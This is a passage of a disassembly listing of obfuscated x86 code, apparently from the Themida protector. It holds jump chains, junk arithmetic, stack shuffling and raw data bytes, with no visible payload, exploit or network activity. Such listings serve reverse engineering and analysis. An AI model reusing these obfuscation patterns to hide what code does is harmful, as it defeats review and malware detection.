		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	ebp
		push	790077CAh
		pop	ebp
		add	ebp, 175474E4h
		add	ebp, 0C6173546h
		push	ebx
		mov	ebx, ebp
		push	ebx
		pop	edi
		pop	ebx
		jmp	loc_58D25A
; ---------------------------------------------------------------------------
		dd 51E9C5FEh, 81000002h, 4C6h, 4EE8300h, 5C243487h, 68241C89h
		dd 3B13h, 83242489h, 5B042404h,	155CE9h
		db 0
; ---------------------------------------------------------------------------


loc_58F039:				; CODE XREF: Themida_:0058E01Fj
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_586F17
; ---------------------------------------------------------------------------
		dw 8025h
		dd 83797640h, 5052FFC0h, 0FFF74DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F05D:				; CODE XREF: Themida_:00587A40j
		push	dword ptr [esp]
		jmp	loc_58B6E5
; ---------------------------------------------------------------------------
		align 2
		dw 80C3h
		dd 28E9D4C3h, 0BDFFFFC4h, 9FE7B04h, 5096CD81h, 6CE91FE0h
		dd 0FFFFFFCFh, 3CE98734h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F087:				; CODE XREF: Themida_:00585F1Fj
		sub	[edi+24h], edx
		mov	edx, [esp]
		add	esp, 4


loc_58F090:				; CODE XREF: Themida_:00591C1Ej
		push	ebx
		push	esi
		mov	esi, 3AF271C6h
		xor	[esp+4], esi
		pop	esi
		jmp	loc_587D02
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 0E9h
		dd 0FFFF767Bh, 143551B9h, 8BCD3126h, 5EE9240Ch,	83FFFFA8h
		dd 0EC8102C2h, 4, 0E9241489h, 0FFFF762Bh, 0A53FE94Dh, 0F480FFFFh
		dd 58E688BEh, 0F0282D04h, 0DDB45053h, 0FFB1EFE9h, 0C58145FFh
		dd 0C6C4DE9Ah, 1AE9EF01h, 0FFFFFFA4h, 6BCDE930h, 0E789FFFFh
		dd 0EF94E953h, 5F53FFFFh, 5B2434FFh, 4C481h, 0EF810000h
		dd 1B185F5Fh, 4EC81h, 0C890000h, 6CA9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F11E:				; CODE XREF: Themida_:0058C91Bj
		add	dl, 84h
		sub	bl, dl
		jmp	loc_586CB5
; ---------------------------------------------------------------------------
		dd 0BA241489h, 4, 58CEC581h, 51E95C9Eh
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58F13B:				; CODE XREF: Themida_:0058C8ECj
		pop	eax
		push	ebp
		mov	ebp, 719C7337h
		sub	eax, ebp
		pop	ebp
		pop	ebx
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 0CB26063h
		jmp	loc_58A47E
; ---------------------------------------------------------------------------
aHP		db ']h$p',0
		dw 8900h
		dd 0BB9240Ch, 816AB657h, 246239F1h, 8BC80141h, 0C483240Ch
		dd 34696804h, 0C890000h, 0F90EE924h, 0E2C1FFFFh, 6BB5302h
		dd 315F9E15h, 0EA815BDAh, 4EB94B76h, 0FFCD52E9h, 0E9EB88FFh
		dd 0FFFFF17Bh, 4C2DF781h, 0EF814CBAh, 0DEE2FCC5h, 24E9F831h
		dd 81FFFFD2h, 0D71FBEFh, 0D668E93Eh, 433FFFFh, 24043124h
		dd 8B240433h, 0DEE92424h, 5FFFF96h, 21051CB2h, 1F82D5Ah
		dd 0BCE9799Fh, 53FFFFE6h, 7D48BF57h, 71E97D81h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F1E7:				; CODE XREF: Themida_:00589458j
		add	esp, 4
		jmp	loc_58BCC1
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 0ABC68036h, 0E9B6F680h, 0FFFF7776h, 0A4E9E608h, 83FFFFA8h
		dd 0E68104C4h, 1B4A6CF4h, 1C681h, 0EEC10000h, 4EC8105h
		dd 0E9000000h, 0FFFFD041h
dword_58F224	dd 0E932FF66h, 0FFFF6A97h, 66C380h, 0B502E9CBh
					; DATA XREF: Themida_:00585BCCo
		db 2 dup(0FFh)
word_58F236	dw 478Fh		; DATA XREF: Themida_:00585AA8o
		dd 6A85E940h, 815DFFFFh, 488105C2h, 5AD601C0h, 0BD555150h
		dd 202C74C5h, 267696B9h, 0C32BE951h, 6866FFFFh,	896618FCh
		dd 0E950241Ch, 0FFFFC88Dh, 0F580DDF6h, 0E9E828FEh, 0FFFFADEEh
; ---------------------------------------------------------------------------


loc_58F274:				; CODE XREF: Themida_:00588C4Ej
		push	ecx
		mov	ecx, esp
		jmp	loc_58E148
; ---------------------------------------------------------------------------


loc_58F27C:				; CODE XREF: Themida_:0058B669j
		add	eax, 33794F86h
		add	eax, ebp
		push	edx
		jmp	loc_58AAA1
; ---------------------------------------------------------------------------


loc_58F289:				; CODE XREF: Themida_:0058B963j
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_58C608
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FF87C0E9h, 242C81FFh, 6EC7271Bh, 0D242C81h,	5B2C3927h
		dd 68A7B850h, 9F350726h, 5458928h, 0BF65E9E9h, 0FF91ABE9h
		db 0FFh
byte_58F2C5	db 66h,	8Bh, 4		; DATA XREF: Themida_:00585ADCo
		dd 4EC8324h, 0E9240C89h, 0FFFFC955h, 0C351472Dh, 74602D44h
		dd 11E95649h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F2E3:				; CODE XREF: Themida_:0058DEF9j
		xor	ecx, 0A854580Bh
		mov	esi, ecx
		pop	ecx
		jmp	loc_5890E9
; ---------------------------------------------------------------------------
byte_58F2F1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00585C0Co
		dd 0E7895759h, 0FFA0B5E9h, 4EEC0FFh, 59B151h, 885159CEh
		dd 8BCB88F1h, 0C481240Ch, 4, 0C76AE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_58FC18
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 0F9B8505Dh, 0C14A5C78h, 200502E0h, 0E9D68E1Ch, 0FFFFAC7Dh
; ---------------------------------------------------------------------------


loc_58F338:				; CODE XREF: Themida_:0058CA3Dj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5873C0
; ---------------------------------------------------------------------------


loc_58F346:				; CODE XREF: Themida_:0058B21Cj
		push	ecx
		mov	ecx, 5EF40D04h
		push	ebx
		mov	ebx, 1D400DDDh
		xor	ecx, ebx
		pop	ebx
		sub	ecx, 67F331A5h
		push	ebx
		jmp	loc_58D810
; ---------------------------------------------------------------------------
		db 9, 0F2h, 5Eh
		dd 0FFDA9FE9h, 48F5BFFh, 24248B24h, 66F1F766h, 664FB968h
		dd 66241489h, 40E99C50h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F383:				; CODE XREF: Themida_:0058C287j
		mov	eax, [esp]
		jmp	loc_5908E7
; ---------------------------------------------------------------------------
		db 80h
		dd 0EA8027EAh, 80CA2834h, 0C28034C2h, 4596627h,	2CD02843h
		dd 0EC835A43h, 241C8904h, 7000E950h, 48BFFFFh, 4C48124h
		dd 81000000h, 0FE3C54C2h, 5AD73108h, 4EC814Fh, 89000000h
		dd 14F7243Ch, 9BE95F24h, 89FFFFCCh, 4C181E1h, 83000000h
		dd 0C8704C1h, 0D8295C24h, 81E28952h, 4C2h, 0F77EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F3F2:				; CODE XREF: Themida_:0058D11Dj
		xor	ecx, 0EC999B18h
		mov	edi, ecx
		jmp	loc_58BE9E
; ---------------------------------------------------------------------------


loc_58F3FF:				; CODE XREF: Themida_:00590E39j
		mov	[esp], edi
		jmp	loc_58BFF7
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EBC004EBh, 0F673E907h, 0F901FFFFh, 407FE981h, 815F3EDEh
		dd 9A076CE9h, 0E3F1816Bh, 15E440Fh, 240C8BCBh, 0FFB730E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F431:				; CODE XREF: Themida_:0058E122j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_587BB0
; ---------------------------------------------------------------------------


loc_58F44A:				; CODE XREF: Themida_:0058F9F2j
		pop	ebx
		not	esi
		push	ebx
		mov	ebx, 748D373Ch
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 0D30579F6h
		add	eax, esi
		pop	esi
		or	eax, eax
		jnz	loc_58FAC1
		push	43E5h
		mov	[esp], ecx
		push	561Ah
		mov	[esp], eax
		mov	eax, 4E425CC5h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5910CE
; ---------------------------------------------------------------------------


loc_58F48F:				; CODE XREF: Themida_:0058F94Bj
					; Themida_:00590C23j
		push	1BCEh
		mov	[esp], ebx
		jmp	loc_58C758
; ---------------------------------------------------------------------------
		dd 0E386DCF6h, 2417E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F4A5:				; CODE XREF: Themida_:0058BCC8j
		push	ebp
		push	ebx
		push	7F803BCCh
		pop	ebx
		add	ebx, 1
		jmp	loc_58F99E
; ---------------------------------------------------------------------------
		db 56h,	81h, 0ECh
		dd 4, 0FF9419E9h, 10E95CFFh
		db 0Ah,	2 dup(0)
byte_58F4C7	db 0ADh			; DATA XREF: Themida_:00585BD4o
		dd 0E0BA5251h, 554E8C55h, 0D950F0BDh, 0EDC14D11h, 89F58104h
		dd 113C2B7h, 0D09EE9EAh, 0F989FFFFh, 59CD295Fh,	0FF7558E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F4F1:				; CODE XREF: Themida_:00589E30j
		pop	ebp
		dec	edx
		sub	edx, 6D117FC1h
		sub	edx, 0FFFFFFFFh
		sub	edx, 0E0C8B4EDh
		mov	ebx, edx
		pop	edx
		add	ebx, 4DB20E0Bh
		sub	ebx, 706552B4h
		xor	edi, ebx
		pop	ebx
		and	ecx, edi
		jmp	loc_58D15E
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF67A3h, 8124348Bh, 4C4h,	64B85000h, 35078306h, 0B0643A3h
		dd 21E9C631h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F53B:				; CODE XREF: Themida_:0058EB10j
		mov	edx, esp
		push	eax
		mov	eax, 242B4FD2h
		or	eax, 1F24007Ah
		not	eax
		xor	eax, 0C0D0B001h
		add	edx, eax
		pop	eax
		push	edi
		mov	edi, 4
		add	edx, 51216359h
		add	edx, edi
		sub	edx, 51216359h
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58FCEB
; ---------------------------------------------------------------------------


loc_58F584:				; CODE XREF: Themida_:0058D29Dj
		pop	dword ptr [esp]
		jmp	loc_58BB72
; ---------------------------------------------------------------------------
		dd 0ED81D501h, 5C9E58CEh, 0E924148Bh, 0FFFF8C5Dh
dword_58F59C	dd 0E932FF64h, 0FFFF671Fh, 0F781D7F7h, 0CBBE2260h, 295FF829h
					; DATA XREF: Themida_:00585C40o
		dd 1DE952F0h, 8BFFFFB2h, 0EC81240Ch, 4,	0E9240489h, 1117h
; ---------------------------------------------------------------------------


loc_58F5C8:				; CODE XREF: Themida_:0058FADFj
		mov	[esp], edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		mov	edx, [esp]
		jmp	loc_5908AA
; ---------------------------------------------------------------------------


loc_58F5DD:				; CODE XREF: Themida_:0058C237j
		pop	eax
		add	[esp+4], ebp
		pop	ebp
		add	[esp], eax
		sub	dword ptr [esp], 66725480h
		push	eax
		jmp	loc_590C28
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0EC810000h, 4, 0E9241489h, 0FFFF7E8Eh, 0C1815954h
		dd 4, 1D2F68h, 241C8900h, 4BBh,	0FFD90100h, 835B2434h
		dd 0C3304C4h, 240C3124h, 0E9240C33h, 0FFFFD852h, 4419EB81h
		dd 0F38104EDh, 0B1486BA0h, 569C781h, 0DF017904h, 48E2BB53h
		dd 0F3813B33h, 42374D8Bh, 5B5BDF29h, 2E5F68h, 240C8900h
		dd 4B9h, 59CF0100h, 0FF7B44E9h,	0ADE958FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F673:				; CODE XREF: Themida_:0058654Fj
		mov	ebx, 19002F0Fh
		xor	ebx, 6EE63033h
		sub	ebx, 2F70186Ch
		inc	ebx
		jmp	loc_590CF1
; ---------------------------------------------------------------------------


loc_58F68A:				; CODE XREF: Themida_:0058C01Bj
		add	ecx, eax
		sub	ecx, 7B7C6722h
		jmp	loc_58FB83
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F6C4E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F69E:				; CODE XREF: Themida_:0058D7ABj
		push	edi
		jmp	loc_590886
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 0E904C483h, 0FFFFA37Dh, 0B25219B4h, 5AD328AAh
		dd 0FF6791E9h, 58C521FFh, 552EC581h, 0ED813A90h, 8AC05E52h
		dd 2A54E981h, 0C1811453h, 498F54C6h, 0FF685AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F6DD:				; CODE XREF: Themida_:00589C22j
		mov	esi, [esp]
		add	esp, 4
		pop	ecx
		and	ecx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58A887
; ---------------------------------------------------------------------------
aLUsc		db '‹$$Uéc ',0
		align 4


loc_58F70C:				; CODE XREF: Themida_:0058DAD4j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58A509
; ---------------------------------------------------------------------------


loc_58F717:				; CODE XREF: Themida_:0058F791j
		push	ebx
		push	edx
		mov	edx, 0C777212h
		add	edx, 0F3888DF0h
		jmp	loc_586DDA
; ---------------------------------------------------------------------------


loc_58F729:				; CODE XREF: Themida_:0058ABE3j
		xchg	edi, ebx
		pop	edi
		not	ebx
		inc	ebx
		inc	ebx
		sub	ebx, 0F79F7777h
		mov	esi, ebx
		pop	ebx
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58802B
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0A1B2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F74E:				; CODE XREF: Themida_:00588BFDj
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_590E02
; ---------------------------------------------------------------------------
aUfxai7rAS	db '(ãfX€ë7R¶¾€ÆS',0
		db 0F3h
		dd 4C3805Ah, 28B151h, 0B60F59CBh, 87048FC0h, 0FFC52DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F77D:				; CODE XREF: Themida_:0058E70Ej
		mov	esp, [esp]
		push	esi
		push	24097D63h
		pop	esi
		push	ecx
		push	esi
		jmp	loc_58E2C5
; ---------------------------------------------------------------------------


loc_58F78E:				; CODE XREF: Themida_:0058D078j
		add	esi, ecx
		pop	ecx
		jmp	loc_58F717
; ---------------------------------------------------------------------------
		dw 28E9h
		dd 1FFFF65h, 0FF6658C3h, 651DE930h, 0A92DFFFFh,	0E957147Ah
		dd 0FFFFA1B2h, 8FD2E95Fh, 0C381FFFFh, 4, 77685052h, 5815F327h
		dd 82B85056h, 5063EF11h, 0FFE956E9h, 5D69BEFFh,	0F6812C7Dh
		dd 18F32540h, 139ACE81h, 0C6813005h, 0DD64E78Bh, 348BF221h
		dd 8298E924h
		db 2 dup(0FFh)
word_58F7F2	dw 0E9ADh		; DATA XREF: Themida_:00585A98o
		dd 0FFFFD3D1h, 625CBB53h, 0D3F70EC0h, 57A6E381h, 23E95654h
		dd 8FFFFFAFh, 248B2404h, 0F86E924h, 815D0000h, 9253F5EEh
		dd 1911E908h, 0EC830000h, 24248904h, 4BB53h, 2AE90000h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F833:				; CODE XREF: Themida_:0059133Bj
		not	ebx
		xchg	eax, ebx
		xor	eax, 0C293886Ch
		push	1BDDh
		mov	[esp], edi
		push	eax
		xor	dword ptr [esp], 1C530ACDh
		jmp	loc_58EFD1
; ---------------------------------------------------------------------------
		dd 8358C101h, 0FF5104C1h, 59042474h, 0FFEEB2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F861:				; CODE XREF: Themida_:0058663Bj
		mov	[esp], edx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F869:				; CODE XREF: Themida_:00586C3Cj
		add	ebx, 1
		jmp	loc_58EFC5
; ---------------------------------------------------------------------------


loc_58F871:				; CODE XREF: Themida_:00590FD0j
		mov	esp, [esp]
		jmp	loc_591739
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 4Ch
		dd 1020008h, 24148BD0h,	0E904C483h, 1610h, 5E57C381h, 0EB810886h
		dd 138E1C20h, 241C875Ah, 6624248Bh, 5324048Bh, 1AE95B54h
		dd 2DFFFFB0h, 50981DF8h, 1252BF57h, 15E914C8h, 5FFFF9Eh
		dd 18CE28F4h, 0BF57D801h, 61491C83h, 3477F781h,	0E3E97987h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F8D3:				; CODE XREF: Themida_:005861C6j
		pop	ebp
		push	edi
		mov	edi, 7B5F7C79h
		xor	edi, 16C83548h
		and	edi, 60BB2180h
		shl	edi, 4
		shl	edi, 1
		sub	edi, 34F33913h
		add	edi, 83F95F5Eh
		add	ebp, edi
		pop	edi
		add	ebp, edi
		sub	ebp, 6166464Bh
		mov	edi, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_58FAC1
		push	ebx
		mov	ebx, 28h
		add	ebx, 2170683Ah
		push	edx
		jmp	loc_58EE79
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFF65FFh
; ---------------------------------------------------------------------------


loc_58F930:				; CODE XREF: Themida_:00589BB1j
		push	ebx
		mov	bl, 94h
		mov	dl, bl
		pop	ebx
		neg	dl
		or	dl, 26h
		or	dl, 38h
		shl	dl, 3
		shr	dl, 8
		jmp	loc_5915B9
; ---------------------------------------------------------------------------


loc_58F949:				; CODE XREF: Themida_:00588FB3j
		or	eax, eax
		jz	loc_58F48F
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58856A
; ---------------------------------------------------------------------------
		db 28h
		dd 0A68EE9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F966:				; CODE XREF: Themida_:0058E7A5j
		pop	eax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
		dd 0CC4E0F68h, 64F6E94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F976:				; CODE XREF: Themida_:00590E05j
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	4D5h
		mov	[esp], ebx
		jmp	loc_58D52D
; ---------------------------------------------------------------------------


loc_58F99E:				; CODE XREF: Themida_:0058F4B0j
		neg	ebx
		not	ebx
		jmp	loc_5865C8
; ---------------------------------------------------------------------------


loc_58F9A7:				; CODE XREF: Themida_:0058E2D5j
		pop	eax
		jmp	loc_59071B
; ---------------------------------------------------------------------------
		db 0BBh, 0FCh, 22h
		dd 0E8BF548Ah, 1AEA1E4h, 0EF815BDFh, 32C07E0h, 4247C01h
		dd 24148B5Fh, 4EC81h, 0C890000h, 1EBFE924h, 685A0000h
		dd 4F52h, 54241C89h, 0FFB276E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F9E5:				; CODE XREF: Themida_:005879E6j
		pop	esi
		inc	ebx
		shl	ebx, 7
		sub	ebx, 0C54B9A37h
		xor	esi, ebx
		jmp	loc_58F44A
; ---------------------------------------------------------------------------
		db 89h
		dd 5E9243Ch, 81FFFF97h,	4C4h, 0E99F0400h, 0FFFFA8ADh, 4BB8505Eh
		dd 8364F02Ch, 0BC2D01E8h, 2155D2B7h, 0C58158C5h, 4A1B14D5h
		dd 7B5C581h, 0E831F5A8h, 2447295Dh, 4EC8358h, 83241C89h
		dd 0D4E904ECh, 8900000Ch, 4812424h, 424h, 1E04E900h, 12680000h
		dd 8900004Ch, 0FFB82404h, 0E9FFFFFFh, 0FFFFB41Ch, 4EC835Bh
		dd 0BF243C89h, 2, 335FFE01h, 34312434h,	24343324h, 2CD3665Ch
		dd 40E99C24h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FA83:				; CODE XREF: Themida_:0058AAEBj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_587D86
; ---------------------------------------------------------------------------
		dd 89240C89h, 4C181E1h,	0E9000000h, 6D8h, 0FF621EE9h, 7A3DB8FFh
		dd 0E95057A9h, 0FFFF989Dh
; ---------------------------------------------------------------------------


loc_58FAB0:				; CODE XREF: Themida_:0058CAA7j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]


loc_58FAC1:				; CODE XREF: Themida_:0058F469j
					; Themida_:0058F910j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	2FCCh
		mov	[esp], esp
		sub	esp, 4
		jmp	loc_58F5C8
; ---------------------------------------------------------------------------
		dd 240C8B58h, 4C481h, 0F8200000h, 5B2434FFh, 4C481h, 0FB680000h
		dd 89000055h, 0A568241Ch, 8900001Dh, 0F7E9243Ch, 0BF00001Dh
		dd 4, 4EF3BA52h, 0D0294974h, 6FBD555Ah,	2934B97Ah, 0F8015DE8h
		dd 0B97A6F05h, 4EF30534h, 0E95F4974h, 0FFFFDCBBh
; ---------------------------------------------------------------------------


loc_58FB38:				; CODE XREF: Themida_:0058AA64j
		xor	[esp], esi
		jmp	loc_58EDE7
; ---------------------------------------------------------------------------
		dd 241C895Ch, 241C8B54h, 5E08950h, 4, 8704C083h, 815C2404h
		dd 4C3h, 0E4C2E900h, 0FA01FFFFh, 81E68956h, 4C6h, 4EE8300h
		dd 0FF9B70E9h, 204709FFh, 526E6858h, 0A8E90000h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FB83:				; CODE XREF: Themida_:0058F692j
		pop	eax
		shr	ecx, 6
		jmp	loc_58E89C
; ---------------------------------------------------------------------------
		dd 33243431h, 248B2434h, 10ADE924h
		db 2 dup(0)
word_58FB9A	dw 6B68h		; DATA XREF: Themida_:00585A08o
		dd 89000071h, 0E0892404h, 4BE56h, 3DE90000h, 83FFFFD2h
		dd 0E98004C4h, 0C1ECE92Ah, 3C89FFFFh, 1F30BF24h, 4BBE413Dh
		dd 29A14122h, 0E49CE9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FBCE:				; CODE XREF: Themida_:00590D42j
		push	dword ptr [edi+1Ch]
		jmp	loc_589BFB
; ---------------------------------------------------------------------------


loc_58FBD6:				; CODE XREF: Themida_:0058D528j
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_58CF42
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 2670B850h, 0D0F7305Bh, 0E907E8C1h, 0FFFFF167h
; ---------------------------------------------------------------------------


loc_58FC18:				; CODE XREF: Themida_:0058F31Dj
		push	edx
		push	6D710542h
		pop	edx
		jmp	loc_586A1B
; ---------------------------------------------------------------------------
		dd 0D224248Bh, 0E99C243Ch, 0FFFF6093h
; ---------------------------------------------------------------------------


loc_58FC30:				; CODE XREF: Themida_:005918FBj
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_590D70
; ---------------------------------------------------------------------------
		db 0B8h
		dd 5268100Ah, 0FFD27BE9h, 241C31FFh, 5C241C33h,	9C2404D3h
		dd 0FF606AE9h, 242489FFh, 0D58E9h
		db 0
; ---------------------------------------------------------------------------


loc_58FC61:				; CODE XREF: Themida_:0058B6EAj
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58B9AE
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 1F8BE9h, 0EE815D00h,	30543217h, 0FFDCF1E9h, 2EB83FFh
		dd 0E9241C87h, 0FFFF928Fh, 0FA59DC35h, 41AF6831h, 34890000h
		dd 8BE24h, 0B8500AD7h, 2D0C549Fh, 0FFE9C609h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FCAB:				; CODE XREF: Themida_:0058BE08j
		mov	ebx, 28D96D51h
		jmp	loc_586C29
; ---------------------------------------------------------------------------


loc_58FCB5:				; CODE XREF: Themida_:0058C026j
		push	ebx
		jmp	loc_58EDF5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8BE9240Ch, 59000012h, 0D131CA31h, 0EC81CA31h, 4, 0FFE605E9h
		dd 240487FFh, 0B3F685Ch, 1C890000h, 735B6824h, 92E90000h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FCEB:				; CODE XREF: Themida_:0058F57Fj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	2FF6h
		jmp	loc_5884FB
; ---------------------------------------------------------------------------
		dd 4BD55h, 24E90000h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FD07:				; CODE XREF: Themida_:0058DB16j
		mov	ebx, esi
		pop	esi
		xor	ebx, 0DD79E133h
		push	ecx
		mov	ecx, 1D178D1h
		add	ecx, 2EB76A7Dh
		shl	ecx, 3
		or	ecx, 0F583561h
		jmp	loc_58E2EF
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C8BF0F24h, 6C5068h,	0BA5AE900h, 0FF53FFFFh,	8B042474h
		dd 0C483241Ch, 24048F04h, 0FF72ABE9h, 50E2D1FFh, 0FF8B1DE9h
		dd 5BE4BBFFh, 83E94DE6h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FD5F:				; CODE XREF: Themida_:0058B8FEj
		pop	ebx
		add	edx, ebx
		sub	edx, 1297662Ch
		push	dword ptr [edx]
		add	dword ptr [esp], 4E403075h
		mov	eax, [esp]
		jmp	loc_58C40A
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0E8010000h, 83242C8Bh, 0BD5504C4h, 4, 2C8BE801h, 4C48124h
		dd 68000000h, 13BCh, 0FF240489h, 58042474h, 0E924048Fh
		dd 0FFFF7602h, 0C281E289h, 4, 4EA81h, 14870000h, 24248B24h
		dd 88240C89h, 24648AE1h, 244C8804h, 240C8B04h, 4C481h
		dd 0EC810000h, 4, 0E9241C89h, 0FFFF8F36h, 8904EC83h, 0BBF243Ch
		dd 8132183Ah, 0C378D7EFh, 9F65E96Dh, 0C183FFFFh, 240C8704h
		dd 0A416E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FE06:				; CODE XREF: Themida_:0058D76Cj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_590C0F
; ---------------------------------------------------------------------------
		dw 7B7h
		dd 41E9F728h, 81FFFF88h, 0C00EC0EEh, 0E9F101F2h, 0FFFFDB2Eh
		dd 6E95F281h, 0EAC113FDh, 4EAC107h, 2E2C14Ah, 0FF6C3DE9h
		dd 4C481FFh, 81000000h,	4C1h, 8702E900h, 0E954FFFFh, 0FFFFE732h
		dd 80BF6657h, 664F6669h, 0EFE9DFF7h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FE63:				; CODE XREF: Themida_:00589CACj
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_58B517
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0AE87E904h, 0E189FFFFh, 4C181h, 71E90000h
		db 6Bh,	2 dup(0FFh)
byte_58FE87	db 8Bh			; DATA XREF: Themida_:00585C24o
		dd 0E9552404h, 0FFFFC80Ch
; ---------------------------------------------------------------------------


loc_58FE90:				; CODE XREF: Themida_:0058BFFCj
		xor	ebx, edi
		pop	edi
		mov	edx, ebx
		pop	ebx
		add	edx, 7D0442C2h
		add	edx, eax
		sub	edx, 7D0442C2h
		push	ecx
		mov	ecx, 0
		jmp	loc_587DC1
; ---------------------------------------------------------------------------
		db 89h
		dd 23E95AD0h, 5CFFFFB1h, 815D5455h, 4C5h, 4ED8100h, 0E9000000h
		dd 0FFFF9ABBh, 4C181h, 0FEE90000h, 56000001h, 24348B54h
		dd 5504C483h, 4BDh, 0F438E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FEEA:				; CODE XREF: Themida_:005899EEj
		push	esp
		jmp	loc_5879F4
; ---------------------------------------------------------------------------


loc_58FEF0:				; CODE XREF: Themida_:0058CF0Fj
		mov	edx, esp
		add	edx, 4
		jmp	loc_58725E
; ---------------------------------------------------------------------------


loc_58FEFD:				; CODE XREF: Themida_:00591C39j
		pop	ebx
		xor	[esp+4], esi
		jmp	loc_58B7F2
; ---------------------------------------------------------------------------
		db 5Bh
